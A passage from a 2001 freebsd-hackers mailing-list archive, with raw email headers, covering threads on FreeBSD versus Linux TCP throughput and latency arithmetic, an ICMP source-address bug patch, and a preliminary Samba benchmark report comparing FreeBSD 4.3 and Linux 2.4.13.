iD8DBQE8Bvx6aUz3f+Zf+XsRAuUQAJ9Lsktmoi0jJzIqVj+3WuVtFXUpFACdEJEr RUqhLc/J4KOeTGUbmqcFGFM= =0UPa -----END PGP SIGNATURE----- --sXc4Kmr5FA7axrvy-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 19:28:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 57B2037B405 for ; Thu, 29 Nov 2001 19:28:15 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAU3S9X67485; Thu, 29 Nov 2001 22:28:09 -0500 (EST) (envelope-from bicknell) Date: Thu, 29 Nov 2001 22:28:09 -0500 From: Leo Bicknell To: Pierre Beyssac Cc: Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011129222809.A67159@ussenterprise.ufp.org> Mail-Followup-To: Pierre Beyssac , Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> <20011129204225.A63957@ussenterprise.ufp.org> <20011130032345.A23415@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130032345.A23415@fasterix.frmug.org>; from pb@fasterix.freenix.org on Fri, Nov 30, 2001 at 03:23:45AM +0100 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 03:23:45AM +0100, Pierre Beyssac wrote: > I can't reproduce this result, 16K fills a T1 for 11 ms, which is > 22000 km (at 2/3 of light speed), enough to get halfway round the > earth... Your math is a little funny. 4000 km New York to LA c = 300,000 km/sec Speed of light in fiber, approximately .66 c, or 198,000 km/sec. Approximate sum of buffering + serialization delay in the network, is a 15% penalty, or 168,300 kph. total speed. 4000 km one way == 8000 km two way, 8000 / 168300 = 47ms in my book, theoretial optimum. With an RTT of 47ms, you can move 16k per RTT, or or about 340k/sec. * If you find a cross country RTT of 47 ms I'll personally send you $20. around 60-65 is normal for "good circuits", and 70-90 is not wholely unusual. * The 340k/sec assumes perfect network conditions, that is no dropped or delayed packets. Please search the archives. There are reams of information about this. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 19:32:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.mx.voyager.net (mail1.mx.voyager.net [216.93.66.200]) by hub.freebsd.org (Postfix) with ESMTP id 0079037B416 for ; Thu, 29 Nov 2001 19:32:40 -0800 (PST) Received: from sioux (tnt1a-219.newyork.corecomm.net [216.214.109.219]) by mail1.mx.voyager.net (8.11.6/8.10.2) with ESMTP id fAU3VjD60194; Thu, 29 Nov 2001 22:31:45 -0500 (EST) From: "Jonathan M. Slivko" To: "'Ted Faber'" , "'Pierre Beyssac'" Cc: "'Leo Bicknell'" , "'Josh Paetzel'" , , Subject: RE: FreeBSD performing worse than Linux? Date: Thu, 29 Nov 2001 22:31:56 -0500 Message-ID: <001e01c1794f$942f4e30$db6dd6d8@sioux> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 In-Reply-To: <20011129192650.D64050@pun.isi.edu> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If you give me your IP address, I can ping *from* Columbia.edu to your machine and see what I get, that should pretty much solve any issues that may arise. -- Jonathan ----------------------------------------------------- Jonathan Slivko - Voyager Internet - www.voyageri.net Web Hosting - Web Design - Dedicated Services jslivko@voyageri.net - Phone: (877) 211-7842 -----Original Message----- From: owner-freebsd-hackers@FreeBSD.ORG [mailto:owner-freebsd-hackers@FreeBSD.ORG] On Behalf Of Ted Faber Sent: Thursday, November 29, 2001 10:27 PM To: Pierre Beyssac Cc: Leo Bicknell; Josh Paetzel; jc@irbs.com; freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? On Fri, Nov 30, 2001 at 03:23:45AM +0100, Pierre Beyssac wrote: > On Thu, Nov 29, 2001 at 08:42:25PM -0500, Leo Bicknell wrote: > > *grumble* I'll try to avoid my tirade. 16K _will cause problems for > > virtually all users_. You can do the math and see it won't keep a T1 > > full across country. > > I can't reproduce this result, 16K fills a T1 for 11 ms, which is > 22000 km (at 2/3 of light speed), enough to get halfway round the > earth... Not *this* Earth, what with real equipment and all. I get 22ms to my home machine less than 6 miles from my work machine via DSL. Both machines have very good connectivity, but there are delay artifacts in the world. And pinging ctr.columbia.edu from my machine in Southern California gets me 70 ms. Neither of those should show the DSL artifact. Columbia's not 9065 miles away, even by wire length. And, not to be too pedantic, you've calculated the 2/3c distance for 110ms, not 11 ms. :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 19:39: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from speedracer.speedtoys.com (mail.speedtoys.com [66.80.10.170]) by hub.freebsd.org (Postfix) with ESMTP id B176E37B416 for ; Thu, 29 Nov 2001 19:38:58 -0800 (PST) Received: from localhost (gemohler@localhost) by speedracer.speedtoys.com (8.11.3/8.11.1) with ESMTP id fAU3uXo79405; Thu, 29 Nov 2001 19:56:33 -0800 (PST) Date: Thu, 29 Nov 2001 19:56:33 -0800 (PST) From: Geoff Mohler X-Sender: gemohler@speedracer.speedtoys.com To: Leo Bicknell Cc: Pierre Beyssac , Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <20011129222809.A67159@ussenterprise.ufp.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dont forget the latencies introduced by routing hardware..Id not expect the average DSL modem to be to snappy about its internal packet forwarding performance. http://rescomp.stanford.edu/~cheshire/rants/Latency.html Thats a good read On Thu, 29 Nov 2001, Leo Bicknell wrote: > On Fri, Nov 30, 2001 at 03:23:45AM +0100, Pierre Beyssac wrote: > > I can't reproduce this result, 16K fills a T1 for 11 ms, which is > > 22000 km (at 2/3 of light speed), enough to get halfway round the > > earth... > > Your math is a little funny. > > 4000 km New York to LA > > c = 300,000 km/sec > > Speed of light in fiber, approximately .66 c, or 198,000 km/sec. > Approximate sum of buffering + serialization delay in the network, > is a 15% penalty, or 168,300 kph. total speed. > > 4000 km one way == 8000 km two way, 8000 / 168300 = 47ms in my book, > theoretial optimum. > > With an RTT of 47ms, you can move 16k per RTT, or or about 340k/sec. > > * If you find a cross country RTT of 47 ms I'll personally send you > $20. around 60-65 is normal for "good circuits", and 70-90 is > not wholely unusual. > > * The 340k/sec assumes perfect network conditions, that is no dropped > or delayed packets. > > Please search the archives. There are reams of information about > this. > > -- > Leo Bicknell - bicknell@ufp.org - CCIE 3440 > PGP keys at http://www.ufp.org/~bicknell/ > Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > --- Geoff Mohler To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 19:59:11 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mars-gw.morning.ru (ns.morning.ru [195.161.98.5]) by hub.freebsd.org (Postfix) with ESMTP id 16B3E37B416; Thu, 29 Nov 2001 19:59:04 -0800 (PST) Received: from NDNM ([195.161.98.250]) by mars-gw.morning.ru (8.11.5/8.11.5) with ESMTP id fAU3x2Y89177; Fri, 30 Nov 2001 10:59:02 +0700 (KRAT) Date: Fri, 30 Nov 2001 11:01:56 +0700 From: Igor M Podlesny X-Mailer: The Bat! (v1.53d) Business Organization: Morning Network X-Priority: 3 (Normal) Message-ID: <92140220606.20011130110156@morning.ru> To: Ruslan Ermilov Cc: bug-followup@FreeBSD.org, freebsd-hackers@FreeBSD.org Subject: Re[2]: misc/31575: wrong src ip address for some ICMPs In-Reply-To: <20011129192500.A74956@sunbay.com> References: <200110290410.f9T4APo65440@freefall.freebsd.org> <20011129192500.A74956@sunbay.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Sun, Oct 28, 2001 at 08:10:25PM -0800, Igor M Podlesny wrote: hm.. it seems somebody has multiplied my timezone by -1 ;-) >> >> You might observe this bug doing traceroute while standing behind >> a GW's interface with several IP-addresses (aliases). In this case >> you always got ICMP.TIMXCEED (time exceeded) coming from IP-address >> which is usually the first on the interface, even if your box is >> not using this IP-address as its next-hop. Despite of the code >> selecting right IP-address for this purpose is working well it's >> being confused by wrong argument it is being given. This patch >> (http://www.morning.ru/~poige/patchzone/ip_icmp.c.diff) fixes namely >> this problem. >> > Let me see if I took you correctly. Suppose you have a gateway, GW: > rl0: flags=8843 mtu 1500 > inet 192.168.4.115 netmask 0xffffff00 broadcast 192.168.4.255 > inet 192.168.4.200 netmask 0xffffffff broadcast 192.168.4.200 > And another host H on the network has the following routing table > entry: > 10 192.168.4.200 UGSc 0 16030 fxp0 > And you are complaining that when H sends an IP packet to the 10 > network, with TTL <= 1, gateway replies with an ICMP time exceeded > from 192.168.4.115 instead of expected 192.168.4.200, like this: > traceroute to 10.0.0.1 (10.0.0.1), 1 hops max, 40 byte packets > 1 192.168.4.115 0.448 ms > Right? But if that's the case (and I just checked for sure that > your patch doesn't make any difference), the GW doesn't know > which of the 192.168.4.115 or 192.168.4.220 addresses have been > used by H, because they both map to the same MAC address on H, > and the MAC address is what's used when forwarding: > ? (192.168.4.115) at 0:c0:df:3:2d:79 on fxp0 [ethernet] > ? (192.168.4.200) at 0:c0:df:3:2d:79 on fxp0 [ethernet] >> >How-To-Repeat: >> You should have several ip-address on interface of NEXT-HOP router >> running FreeBSD, then invoke traceroute some.where. >> > Yeah, that's exactly how I did it, and didn't notice any > difference after applying your patch... Ruslan, sorry, I'm very busy for an unpredictable amount of time, cause I'm a system administrator of ISP and recently I got a bunch of deeds to do, so I can't respond to your analyze shown before in all its details... and (sorry for that) I don't feel that it is really needed -- I changed the code in ip_icmp.c because I saw myself how really were routers acting before and after applying the patch. In addition, I suggest you to look at this http://www.sigmasoft.com/~openbsd/archive/openbsd-bugs/200110/msg00146.html P.S. The description of bug once more: [router] | X---->|backbone|--> | | Yip1----|the same media|------[some another ip-network] |ip2----|the same media|------|some box| Here is "router" with FreeBSD (OpenBSD, and, probably *BSD) and "Some box" doing traceroute to (for e.g.) a host which is _reachable_ _via_ _backbone_. X, Y -- NICs. Y has several IPs, making several ip-networks on "the same media". The problem: traceroute being run on "somebox" will hear respond from "router" coming from Y.ip1 address which isn't on its (somebox) IP-network. (well, I deem icmp.echoreply isn't alone in this.) And this happens because wrong IP-addr is passed to ifaof_ifpforaddr(). My patch fixes namely this problem -- I have worked out and applied it and I believe I know what I'm talking about. Look at it, and you'll realize what I mean... You may ask me for details, but, please, don't make different situations asking me how does it correlate with -- damn lack of time... -- Igor mailto:poige@morning.ru http://morning.ru/~poige To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 20:15: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from out007pub.verizon.net (out007pub.verizon.net [206.46.170.107]) by hub.freebsd.org (Postfix) with ESMTP id 22F4537B419 for ; Thu, 29 Nov 2001 20:14:59 -0800 (PST) Received: from bellatlantic.net (pool-151-198-135-109.mad.east.verizon.net [151.198.135.109]) by out007pub.verizon.net with ESMTP ; id fAU4GgN24071 Thu, 29 Nov 2001 22:16:42 -0600 (CST) Message-ID: <3C0707BD.B8FA31F8@bellatlantic.net> Date: Thu, 29 Nov 2001 23:14:53 -0500 From: Sergey Babkin Reply-To: babkin@freebsd.org X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-19990626-CURRENT i386) X-Accept-Language: en, ru MIME-Version: 1.0 To: jc@irbs.com Cc: freebsd-hackers@freebsd.org Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Capo wrote: > > Now this thread comes along and I realize there is something wrong > so I did a little testing. > > find / -print on one of my servers in a ssh session will fill the > pipe to my office, 256K frame, and run nicely then get into the > starting and stopping mode after a good amount of data has been > sent. find / -print | dd obs=1 will screw up within a few seconds > and stay that way. Netstat in another ssh session shows data ready > to go: > > tcp4 0 15928 server.22 client.4427 ESTABLISHED > > This is a fragment from a dump on the server side while running > find / -print | dd obs=1 > > 21:41:46.328381 client.4427 > server.22: . ack 11249 win 17328 (DF) [tos 0x10] > 21:41:46.335863 client.4427 > server.22: . ack 11345 win 17328 (DF) [tos 0x10] > 21:41:46.342216 client.4427 > server.22: . ack 11441 win 17328 (DF) [tos 0x10] > 21:41:46.396051 client.4427 > server.22: . ack 11489 win 17376 (DF) [tos 0x10] > 21:41:46.418208 client.4427 > server.22: . ack 11489 win 17376 (DF) [tos 0x10] > 21:41:47.460903 server.22 > client.4427: . 11489:12937(1448) ack 144 win 17376 (DF) [tos 0x10] > 21:41:47.569133 client.4427 > server.22: . ack 12937 win 15928 (DF) [tos 0x10] I would say that some weird thing is going on on the server side. Apparently the server was sending the data fast enough to exhaust the client's window (this part we don't see in the log, it happened somewhere in the preceeding packets). Then as these packets reach the client, the client send the acks for them. The server should continue sending the data to fill up the window but it does not. It spends a whole extra second in a coma and only then sends the next packet 11489:12937. So the bug should be somewhere around the code that resumes transmission after filling up the window. Also the duplicate ACK for 11489 suggest that maybe the server has send the packet 11441:11489 twice (if you have the full log saved, you can check if it really was so) by some weird reason which may also indicate a bug. In fact, the origin of the bug may be corruption of some field in the protocol control block that screws up the TCP state to both send that packet twice and have difficulties restarting after it. > 21:41:49.001039 client.4427 > server.22: P 144:192(48) ack 12937 win 17376 (DF) [tos 0x10] > 21:41:49.001073 server.22 > client.4427: . 28049:29497(1448) ack 192 win 17328 (DF) [tos 0x10] > 21:41:49.001085 server.22 > client.4427: P 29497:30313(816) ack 192 win 17328 (DF) [tos 0x10] > 21:41:49.109131 client.4427 > server.22: . ack 12937 win 17376 (DF) [tos 0x10] And here a _very_ pathological thing has happened: the server just forgot to send the data between sequence numbers 12937 and 28049. Since the dump was done on the server side, this suggests that something very bad has happened with the TCP state on the server side. Possibly the value of the current sequence number in the protocol control block got overwritten by something. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 21:27: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from c527597-a.cstvl1.sfba.home.com (c527597-a.cstvl1.sfba.home.com [24.176.204.87]) by hub.freebsd.org (Postfix) with ESMTP id 9EA1137B416 for ; Thu, 29 Nov 2001 21:27:02 -0800 (PST) Received: (from bmah@localhost) by c527597-a.cstvl1.sfba.home.com (8.11.6/8.11.6) id fAU5R0s11199; Thu, 29 Nov 2001 21:27:00 -0800 (PST) (envelope-from bmah) Message-Id: <200111300527.fAU5R0s11199@c527597-a.cstvl1.sfba.home.com> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: jc@irbs.com Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <20011129004234.A16101@exuma.irbs.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> Comments: In-reply-to John Capo message dated "Thu, 29 Nov 2001 00:42:34 -0500." From: "Bruce A. Mah" Reply-To: bmah@FreeBSD.ORG X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ X-Image-Url: http://www.employees.org/~bmah/Images/bmah-cisco-small.gif X-Url: http://www.employees.org/~bmah/ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_1809086212P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Thu, 29 Nov 2001 21:27:00 -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --==_Exmh_1809086212P Content-Type: text/plain; charset=us-ascii If memory serves me right, John Capo wrote: [TCP weirdness] > I see exactly the same behavior on 3 -stable machines running kernels > from late October and early November. Another -stable machine with > a kernel from late September does pause but not as consistently as > the later kernel machines do. The client machine is running a > kernel from early November. How early in November? I'm staring at this commit message and wondering if it has any relevance to your situation: ----- revision 1.107.2.18 date: 2001/11/12 22:11:24; author: nate; state: Exp; lines: +3 -1 MFH: V1.139 when newreno is turned on, if dupacks = 1 or dupacks = 2 and new data is acknowledged, reset the dupacks to 0. The problem was spotted when a connection had its send buffer full because the congestion window was only 1 MSS and was not being incremented because dupacks was not reset to 0. Reviewed by: jlemon ----- Bruce. --==_Exmh_1809086212P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: Exmh version 2.3.1+ 05/14/2001 iD8DBQE8Bxik2MoxcVugUsMRAp0BAJoDRLTc7hQOSaHxLZRtJ2644wg9JACffNIC CLif9tOdN/KQRFF7ktZJekk= =XXeE -----END PGP SIGNATURE----- --==_Exmh_1809086212P-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 21:48:58 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cu518.adelaide.adsl.on.net (cu518.adelaide.adsl.on.net [150.101.236.10]) by hub.freebsd.org (Postfix) with ESMTP id 8E8D337B419 for ; Thu, 29 Nov 2001 21:48:48 -0800 (PST) Received: from ns.aus.com (laptop.ns.aus.com [10.0.2.6]) by cu518.adelaide.adsl.on.net (8.11.0/8.11.0) with ESMTP id fAU7uO728048 for ; Fri, 30 Nov 2001 18:26:24 +1030 Message-ID: <3C072706.2030501@ns.aus.com> Date: Fri, 30 Nov 2001 16:58:22 +1030 From: Richard Sharpe Reply-To: rsharpe@ns.aus.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010917 X-Accept-Language: en-us MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: A comparison of Samba performance on FreeBSD 4.3-RELEASE and Linux 2.4.13ac4 Content-Type: multipart/mixed; boundary="------------080403080306040403040308" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------080403080306040403040308 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, attached is a preliminary report on a comparison of Samba performance on FreeBSD 4.3-RELEASE and Linux 2.4.13ac4. I have posted it because I promised to do so, however, I think you should take the numbers with a grain of salt. It demonstrates that overall, for the client tests I did (including up to 100 clients, but not reported), on the same hardware (well pretty much), the two operating systems are comparable. Until I resolve issues around why FreeBSD thinks that my SIS730-equiped PCchips 810MLR board has a UDMA33 controller only and Linux thinks it is capable of UDMA100, the dbench numbers do not mean much. In addition, I continue to look at the tbench numbers to see what the story is with respect to FreeBSD and TCP performance. Perhaps I have done something wrong. Feedback welcome, but I will have limited time to respond over the next week. -- Richard Sharpe, rsharpe@ns.aus.com, LPIC-1 www.samba.org, www.ethereal.com, SAMS Teach Yourself Samba in 24 Hours, Special Edition, Using Samba --------------080403080306040403040308 Content-Type: text/plain; name="freebsd-vs-linux-netbench.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="freebsd-vs-linux-netbench.txt" Measuring the performance of Samba under FreeBSD and Linux Richard Sharpe 25-Nov-2001 INTRODUCTION One of the tools available for measuring the performance of Samba and other CIFS servers is NetBench, the ZiffDavis benchmark. This menchmark attempts to simulate the workload applied to a CIFS server by one of more CIFS clients. The Samba team has developed a number of tools that can be used to gain feel for the ability of various parts of a Samba system (the whole system, the file system, or the networking subsystem) to handle the NetBench workload. This workload is based on a network trace. These tools are: smbtorture, which can provide an indication of the ability of a server to handle the NetBench load from one or more clients; dbench, which can provide an indication of the ability of the filesystem on a server to handle the workload offered by one or more clients; and tbench, which can provide an indication of the ability of the networking subsystem to handle the workload offered by one or more NetBench clients. The smbtorture test uses a trace taken from a NetBench run and replays the trace for the number of clients specified. Each client uses a separate area on the server, but their file system areas are all created in the same directory, eg \\server\public\CLIENTS\CLIENT0, \\server\public\CLIENTS\CLIENT1, and so on. The test involves reading and writing large files using large reads (up to 65535 bytes). The dbench test takes the NetBench trace and applies all the file IOs that it would cause without causing any network traffic or involving any protocol handling. Thus it only tests file system performance. It creates its working directories in the same way as smbtorture/NetBench. The tbench test tests out the performance of the networking system between the two machines. It sends exactly the same amount of data that a NetBench test would, but does no file system activity, nor any protocol handling, etc. I set about to measure the relative ability of FreeBSD 4.3-RELEASE and Linux 2.4.13-ac4 (on a RedHat 7.2 system) to handle the workload presented by 10, 20, 30, 40, and 50 NetBench clients. To understand better the limits of each operating system, I also ran dbench and tbench against both FreeBSD 4.3-RELEASE and Linux 2.4.13. The results show that both operating systems can provide similar levels of performance, so performance is not metric that can be used to choose between them. An interesting result is that Linux seems to be better at driving a 100Mb/s link, as well as providing higher file system throughput, but tuning FreeBSD might improve its performance. The rest of this report covers the methods that I used to setup and run the tests, the results I obtained, some obesrvations I made while running the tests and provide some conclusions. METHOD FreeBSD 4.3-RELEASE was loaded onto a 30GB IBM disk drive, while RedHat 7.2 was loaded onto a 20GB Western Digital drive. The 2.4.7 kernel on the RedHat system was replaced with Linux 2.4.13ac4, and the EXT3 file system was used, while the FreeBSD system used the standard file system with soft updates enabled. The drives were an IBM DTLA 307030 UDMA33 for FreeBSD and a WDC WD200EM UDMA100 for Linux. These drives were then booted on a Duron-750MHz based system with a PC Chips motherboard (SIS 730 chipset) with 1GB of memory. The system had two Ethernet controllers, both 100Mb/s. The controller used for the test was a 3C905B. A recent CVS version of Samba (2.2.3pre) was built on each system using the same, default, options, and then installed. Similar smb.conf files were built for each. The config files are shown in the appendix. The NetBench tests were all run from the one driver system, a dual-Celeron 533MHz Abit BP6 with 384MB of memory. They were all performed across a single 100Mb/s link. The dbench tests were run directly on the test system under FreeBSD and Linux. The dbench source and make were modified slightly to ensure that they would build under FreeBSD and to ensure that both the FreeBSD and Linux versions used fsync, since FreeBSD does not seem to contain the fdatasync routine that dbench initially used. The tbench runs were run from the dual-Celeron Linux system, with client counts of 1, 2, 3, 4, 5, 6, and 7 to determine the number of clients that saturated the 100Mb/s link. For the NetBench runs, smbtorture was used to perform 10, 20, 30, 40, and 50 client runs of NBWNT against FreeBSD and Linux. For the dbench runs, 1, 2, 5, 10, and 20 client runs were performed. RESULTS The smbtorture NetBench and dbench runs provide a result of Mb/s for each run, along with the actual duration of each run. Table 1 shows the results for FreeBSD and Linux for 10 and 20 clients. +---------+------------+------------+------------+------------+------------+ | OS | 10 clients | 20 clients | 30 clients | 40 clients | 50 clients | +---------+------------+------------+------------+------------+------------+ | FreeBSD | 66.9 Mb/s | 64.7 Mb/s | 58.9 Mb/s | 58.1 Mb/s | 55.3 Mb/s | | FreeBSD | 66.9 Mb/s | 63.3 Mb/s | 58.9 Mb/s | 57.0 Mb/s | 54.3 Mb/s | | FreeBSD | 68.1 Mb/s | 60.9 Mb/s | 58.3 Mb/s | 57.0 Mb/s | 55.5 Mb/s | | Linux | 62.1 Mb/s | 62.9 Mb/s | 63.3 Mb/s | 62.9 Mb/s | 59.6 Mb/s | | Linux | 62.7 Mb/s | 63.5 Mb/s | 63.1 Mb/s | 63.7 Mb/s | 60.3 Mb/s | | Linux | 62.7 Mb/s | 64.6 Mb/s | 63.8 Mb/s | 63.4 Mb/s | 60.8 Mb/s | +---------+------------+------------+------------+------------+------------+ Table 1. NetBench results Other data I have shows FreeBSD provides about 48Mb/s with a load of 100 clients. Table 2 shows the results of running dbench on FreeBSD 4.3-RELEASE and Linux 2.4.13ac4. +----------+-----------+-----------+-----------+-------------+------------+ | OS | 1 client | 2 clients | 5 clients | 10 clients | 20 clients | +----------+-----------+-----------+-----------+-------------+------------+ | FreeBSD | 255.5Mb/s | 216.1Mb/s | 125.7Mb/s | 91.6Mb/s | 71.5Mb/s | | FreeBSD | 211.0Mb/s | 222.2Mb/s | 122.3Mb/s | 93.5Mb/s | 75.7Mb/s | | FreeBSD | 210.8Mb/s | 208.5Mb/s | 121.8Mb/s | 95.5Mb/s | 70.5Mb/s | | LINUX | 341.0Mb/s | 276.4Mb/s | 322.2Mb/s | 341.7Mb/s | 204.6Mb/s | | LINUX | 696.2Mb/s | 346.3Mb/s | 309.5Mb/s | 319.3Mb/s | 216.4Mb/s | | LINUX | 692.7Mb/s | 356.7Mb/s | 320.0Mb/s | 289.7Mb/s | 234.4Mb/s | +----------+-----------+-----------+-----------+-------------+------------+ Table 2: dbench results Table 3 shows the results of running tbenchon FreeBSD 4.3-RELEASE and Linux 2.4.13ac4. +----------+----------+-----------+-----------+-----------+-----------+ | OS | 1 client | 2 clients | 3 clients | 4 clients | 5 clients | +----------+----------+-----------+-----------+-----------+-----------+ | FreeBSD | 26.2Mb/s | 45.7Mb/s | 63.0Mb/s | 75.1Mb/s | 85.3Mb/s | | FreeBSD | 26.1Mb/s | 46.1Mb/s | 63.6Mb/s | 75.3Mb/s | 85.8Mb/s | | FreeBSD | 26.2Mb/s | 46.1Mb/s | 61.8Mb/s | 78.8Mb/s | 85.0Mb/s | | LINUX | 68.7Mb/s | 92.2Mb/s | Saturated | Saturated | Saturated | | LINUX | 68.7Mb/s | 92.5Mb/s | Saturated | Saturated | Saturated | | LINUX | 68.0Mb/s | 92.6Mb/s | Saturated | Saturated | Saturated | +----------+----------+-----------+-----------+-----------+-----------+ Table 3: tbench results The FreeBSD runs did not saturate the link until I ran a 7-client test. OBSERVATIONS While watching the NetBench runs, FreeBSD's loadaverage rarely got above 5, and there was a reasonable amount of free CPU available on the system. In addition, the disk led continued to flash throughout. On the other hand, when these runs were performed against Linux, the loadaverage often got up to within one or two of the number of clients run. Thus, for a 10 client run, the load average often got up to 8 or 9. In addition, there was still some free CPU on the system. When the loadaverage got up to five or so under FreeBSD, response became very sluggish on the console, while Linux 2.4.13 was still able to respond reasoably well with a load average up to around 8 or 9. In addition, until I resolve the issues around FreeBSD regarding the IBM DTLA as a UDMA33 device, but Linux regarding the WDC WD200 as UDMA100 capable, the dbench numbers are suspect. CONCLUSIONS TBD APPENDIX TBD ACKNOWLEDGMENTS I would like to thank Greg Lehey for assistance with FreeBSD, as well as Jonathan Lemon for suggestions relating to these matters. Any errors are my responsibility. --------------080403080306040403040308-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 22:57:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [24.14.150.180]) by hub.freebsd.org (Postfix) with ESMTP id 312CC37B405 for ; Thu, 29 Nov 2001 22:57:15 -0800 (PST) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id fAU6vFM87855 for ; Thu, 29 Nov 2001 22:57:15 -0800 (PST) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id B2C113808; Thu, 29 Nov 2001 22:57:14 -0800 (PST) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: rsharpe@ns.aus.com Cc: 